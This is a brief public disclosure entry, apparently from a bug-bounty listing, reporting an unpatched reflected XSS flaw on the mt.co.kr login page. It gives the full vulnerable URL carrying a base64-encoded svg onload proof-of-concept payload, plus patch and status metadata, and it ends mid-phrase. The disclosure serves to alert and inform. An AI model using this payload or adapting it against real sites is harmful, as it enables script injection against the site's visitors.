mt.co.kr XSS vulnerability

Vulnerable URL: http://www.mt.co.kr/member/login.html?qurl64=Ij48c3ZnIG9ubG9hZD1wcm9tcHQoIk9QRU5CVUdCT1VOVFkiKT4= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4276 VIP website...